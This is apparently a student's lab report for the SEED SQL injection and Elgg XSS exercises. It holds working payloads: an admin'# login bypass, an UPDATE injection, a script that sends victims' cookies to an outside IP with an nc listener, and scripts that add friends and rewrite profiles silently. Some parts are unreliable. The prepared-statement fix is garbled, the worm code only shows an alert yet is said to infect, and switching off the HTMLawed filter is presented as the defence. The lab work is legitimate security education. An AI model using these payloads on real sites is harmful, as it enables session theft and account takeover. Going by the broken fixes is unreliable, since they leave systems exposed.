20221909 2022-2023-2 《网络攻防实践》实践10作业
1.实践内容
1.1 Web 应用程序架构概述
Web 应用程序架构展示了包含所有软件组件(例如数据库、应用程序和中间件)以及它们如何相互交互的布局。它定义了数据如何通过 HTTP 传递,并确保客户端服务器和后端服务器能够理解。此外,它还确保所有用户请求中都存在有效数据。它创建和管理记录,同时提供基于权限的访问和身份验证。选择正确的设计决定了您公司的发展、可靠性和互操作性以及未来的 IT 需求。因此,了解构成 Web 应用程序架构的组件非常重要。
1.2 Web 应用程序架构组件
通常,基于 Web 的应用程序架构包括三个核心组件:
- Web 浏览器:浏览器或客户端组件或前端组件是与用户交互、接收输入并管理表示逻辑同时控制用户与应用程序交互的关键组件。如果需要,也会验证用户输入。
- Web 服务器: Web 服务器也称为后端组件或服务器端组件,通过将请求路由到正确的组件并管理整个应用程序操作来处理业务逻辑和处理用户请求。它可以运行和监督来自各种客户端的请求。
- 数据库服务器:数据库服务器为应用程序提供所需的数据。它处理与数据相关的任务。在多层架构中,数据库服务器可以在存储过程的帮助下管理业务逻辑。
1.3 web攻击
Web 攻击两种模式:
-
主动攻击,即攻击者通过 Web 应用直接将攻击代码传入,例如 SQL 注入、OS 命令注入
-
被动攻击,即攻击者利用陷阱的方式执行攻击代码,例如 XSS、CSRF
-
Web 攻击路线:Web应用信息收集、攻击Web服务器软件、攻击Web应用程序、攻击Web数据内容、本地攻击
-
Web 攻击防御措施:如果是一些脚本注入或者 SQL 注入之类的,需要做的就是针对一些非法的输入进行限制或者转义。而对于一些和 HTTP 报文相关的,需要利用请求报文或者响应报文来判断,例如 CSRF 请求伪造,就可以通过报文中的 referer 进行校验,又或者和 cookie 相关的,可以对cookie 的域名限制和设置 HttpOnly 等等。
常见的 web 攻击方式如下:
- SQL 注入:Web 应用未对用户提交的数据做过滤或者转义,导致后端数据库服务器执行了黑客提交的 sql 语句。黑客利用 sql 注入攻击可进行拖库、植入 webshell,进而入侵服务器。
- XSS 跨站:Web 应用未对用户提交的数据做过滤或者转义,导致黑客提交的 javascript 代码被浏览器执行。黑客利用 xss 跨站攻击,可以构造恶意蠕虫、劫持网站 cookie、获取键盘记录、植入恶意挖矿 js 代码。
- 命令注入:Web 应用未对用户提交的数据做过滤或者转义,导致服务器端执行了黑客提交的命令。黑客利用登入注入攻击,可以对服务器植入后门、直接反弹 shell 入侵服务器。
- CSRF:Web 应用对某些请求未对来源做验证,导致登录用户的浏览器执行黑客伪造的 HTTP 请求,并且应用程序认为是受害者发起的合法请求的请求。黑客利用 CSRF 攻击可以执行一些越权操作如添加后台管理员、删除文章等。
- 目录遍历:Web 应用对相关目录未做访问权限控制,并且未对用户提交的数据做过滤或者转义,导致服务器敏感文件泄露。黑客利用目录遍历攻击,可获取服务器的配置文件,进而入侵服务器。
- 木马后门:Web 应用未对用户提交的数据做过滤或者转义,导致木马代码执行。黑客利用木马后门攻击,可以入侵服务器。
- 缓冲区溢出:http 协议未对请求头部做字节大小限制,导致可以提交大量数据因此可能导致恶意代码被执行。
- 文件上传:Web 应用未对文件名后缀,上传数据包是否合规,导致恶意文件上传。文件上传攻击,将包含恶意代码的文件上传到服务器,最终导致服务器被入侵。
- 扫描器扫描:黑客利用漏洞扫描器扫描网站,可以发现 web 应用存在的漏洞,最终利用相关漏洞攻击网站。
- 高级爬虫:爬虫自动化程度较高可以识别 setcookie 等简单的爬虫防护方式。
- 常规爬虫:爬虫自动化程度较低,可以利用一些简单的防护算法识别,如 setcookie 的方式。
- 敏感信息泄露:web 应用过滤用户提交的数据导致应用程序抛出异常,泄露敏感信息,黑客可能利用泄露的敏感信息进一步攻击网站。
- 服务器错误:Web 应用配置错误,导致服务器报错从而泄露敏感信息,黑客可能利用泄露的敏感信息进一步攻击网站。
- 非法文件下载:Web 应用未对敏感文件 (密码、配置、备份、数据库等) 访问做权限控制,导致敏感文件被下载,黑客利用下载的敏感文件可以进一步攻击网站。
- 第三方组件漏洞:Web 应用使用了存在漏洞的第三方组件,导致网站被攻击。
- XPATH 注入:Web 应用在用 xpath 解析 xml 时未对用户提交的数据做过滤,导致恶意构造的语句被 xpath 执行。黑客利用 xpath 注入攻击,可以获取 xml 文档的重要信息。
- XML 注入:Web 应用程序使用较早的或配置不佳的 XML 处理器解析了 XML 文档中的外部实体引用,导致服务器解析外部引入的 xml 实体。黑客利用 xml 注入攻击可以获取服务器敏感文件、端口扫描攻击、dos 攻击。
- LDAP 注入防护:Web 应用使用 ldap 协议访问目录,并且未对用户提交的数据做过滤或转义,导致服务端执行了恶意 ldap 语句,黑客利用 ldap 注入可获取用户信息、提升权限。
- SSI 注入:Web 服务器配置了 ssi,并且 html 中嵌入用户输入,导致服务器执行恶意的 ssi 命令。黑客利用 ssi 注入可以执行系统命令。
- Webshell 黑客连接尝试去连接网站可能存在的 webshell,黑客可能通过中国菜刀等工具去连接 webshell 入侵服务器。
- 暴力破解:黑客在短时间内大量请求某一 url 尝试猜解网站用户名、密码等信息,黑客利用暴力破解攻击,猜解网站的用户名、密码,可以进一步攻击网站。
- 非法请求方法:Web 应用服务器配置允许 put 请求方法请求,黑客可以构造非法请求方式上传恶意文件入侵服务器。
- 撞库:Web 应用对用户登入功能没做验证码验证,黑客可以借助工具结合社工库去猜网站用户名及密码。
1.4 SQL注入攻击
定义:
SQL注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。
黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。
SQL注入攻击形式:
SQL注入式攻击的主要形式有两种。
- 一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法。
- 二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。
SQL注入过程:
注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“—”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不被编译与执行。
1.5 XSS跨站脚本攻击
- XSS 定义:XSS 是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。这些代码包括HTML代码和客户端脚本。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击”,而JavaScript是新型的“ShellCode”。
- XSS 攻击目的:盗走客户端cookies,或者任何可以用于在 Web 站点确定客户身份的其他敏感信息。手边有了合法用户的标记,黑客可以继续扮演用户与站点交互,从而冒充用户。如果某个怀有恶意的人(攻击者)可以强迫某个不知情的用户(受害者)运行攻击者选择的客户端脚本,那么便会发生跨站点脚本攻击。
- XSS 漏洞存在原因:Web 应用程序的技术基础是由 HTTP和 HTML 组成的。HTTP 协议是 HTML 的传输机制,可使用代码设计 Web 页面布局和生成页面。如果 Web 应用程序接受用户通过 HTTP 请求(如 GET 或 POST)提交的输入信息,然后使用输出 HTML 代码在某些地方显示这些信息,便可能存在 XSS 漏洞。
1.6本次实践内容
(1)SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
(2)SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
2.实践过程
首先更改主机名为姓名拼音
2.1 实践一 SEED SQL注入攻击与防御实验
熟悉SQL语句过程:
输入mysql -u root -p登录mysql,-u为用户名,-p使用密码登录,输入密码是seedubuntu。
输入use Users;指定使用users库,输入show tables;并查看具体的表。
输入select * from credential;打印员工信息可以看到每个人的名字,工资情况,手机号等信息。
输入select * from credential where Name=‘Alice’;可以查到Alice所有信息。
对SELECT语句的SQL注入攻击过程:
打开浏览器输入网页http://www.seedlabsqlinjection.com显示为登录界面。
在cd /var/www/SQLInjection下输入vi unsafe_home.php查看代码。
下拉可以看到如果我们输入用户名admin’#不输入密码,那么就可以直接登录了。因为#代表注释,#之后的内容不再进行查询。
检验我们的想法,只输入用户名为admin’#,不输入密码,实现在不知道密码情况下登录web应用程序。
登录进入后界面如下,登录成功,可以看到Web应用存在SQL输入漏洞。
终端输入curl ‘www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%20%23’也可以成功登录。
对UPDATE语句的SQL注入攻击过程:
在前个实验成功登录web的基础上,点击edit profile对信息进行修改,在NickName中输入’, salary=‘88888’ where name=‘Samy’;#。
在上一个命令行中输入:q退出,并输入vi unsafe_edit_backend.php查看其原代码,找到带有update的一行,因为输入的是#所以email以后的语句会被注释掉不被执行。
回到web程序点击save可以看到Admin的salary已经被改为88888,即实现成功注入SQL攻击。
SQL对抗过程:修复上述SQL注入攻击漏洞
上述漏洞存在代码数据未进行区分,导致搞混,所以可在home的源代码中,把select语句改为$sql =
c
o
n
n
−
>
p
r
e
p
a
r
e
(
"
S
E
L
E
C
T
i
d
,
n
a
m
e
,
e
i
d
,
s
a
l
a
r
y
,
b
i
r
t
h
,
s
s
n
,
p
h
o
n
e
N
u
m
b
e
r
,
a
d
d
r
e
s
s
,
e
m
a
i
l
,
n
i
c
k
n
a
m
e
,
P
a
s
s
w
o
r
d
F
R
O
M
c
r
e
d
e
n
t
i
a
l
W
H
E
R
E
n
a
m
e
=
?
a
n
d
P
a
s
s
w
o
r
d
=
?
"
)
;
conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
conn−>prepare("SELECTid,name,eid,salary,birth,ssn,phoneNumber,address,email,nickname,PasswordFROMcredentialWHEREname=?andPassword=?");sql->bind_param(“ss”, $input_uname, $hashed_pwd);
在root权限下,cd /var/www/SQLInjection下输入vi unsafe_home.php进行编辑
再用Admin’#已经进不去了。
2.2 实践二 SEED XSS跨站脚本攻击实验(Elgg)
发布恶意消息,显示警报窗口过程:
登录www.xsslabelgg.com网站,再登录Alice账户,密码为seedalice。
点击小头像右边名称Alice进入个人页面,点击头像下方的edit profile,然后在页面中的Brief description项输入:。
点击save,显示如下界面,即获得想要的cookie信息。
窃取受害者的cookies过程:
修改alice的代码,设置一个端口1314。
<script>document.write('< img src=http://192.168.200.21:1314?c='+escape(document.cookie) + ' >');</script>
终端输入nc -l 1314 -v进行监听,然后回去网站。
登录body(密码seedboby)点击more,members找到Alice,查看其主页。
回到终端获取alice的cookie。
成为受害者的朋友过程:
登录Alice账号,同样操作访问boby界面,点击Ctrl+Shift+E打开network界面,随后添加boby为朋友。添加后看到Request URL显示http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1683749373&__elgg_token=6OEr6T02CJ8EncFhz7EtkQ&__elgg_ts=1683749370&__elgg_token=-HZ1MsQYBTKLB_73weXdgQ
登录Alice界面首先点击about me 中的edit html
之后将以下代码输入alice的about me中。
<script type="text/javascript">window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
查看Alice界面,之后返回主界面与alice已经是朋友了。
修改受害者的信息过程:
继续登录Alice账号,将之前的代码删掉。
点击edit html将以下代码输入alice的about me中。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
保存后退出登录,登入boby账号,再次访问Alice后回到主页发现攻击成功。
编写XSS蠕虫过程:
继续登录Alice账号,将之前的代码删掉。
点击edit html将以下代码输入alice的about me中。
<script id="worm" type ="text/javascript">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
保存后显示如下界面
保存后退出登录,登入boby账号,再次访问Alice后回到主页发现boby成功被感染。
对抗XSS攻击过程:
Elgg自身包含对抗XSS攻击的插件,登录admin密码为seedelgg。点击Account—Administration—plugins。
进去后点击关闭HTMLawed。此插件主要是对用户的输入输出进行校验并且去除特定标签。
再次访问Alice的profile发现不会被感染。
3.学习中遇到的问题及解决
- 问题1:在实践2的修改受害者信息时,使用代码出不来,最后发现是about me 中的格式问题。
- 问题1解决方案:改成edit HTML后成功
4.学习感想和体会
在此过程中,我对 SQL注入和 XSS攻击有了一定的认识,并对它们的工作原理有了一个初步的认识,掌握了保护 SQL注入的方法。在以后的生活和学习中,都让我对网络漏洞有了更多的警觉。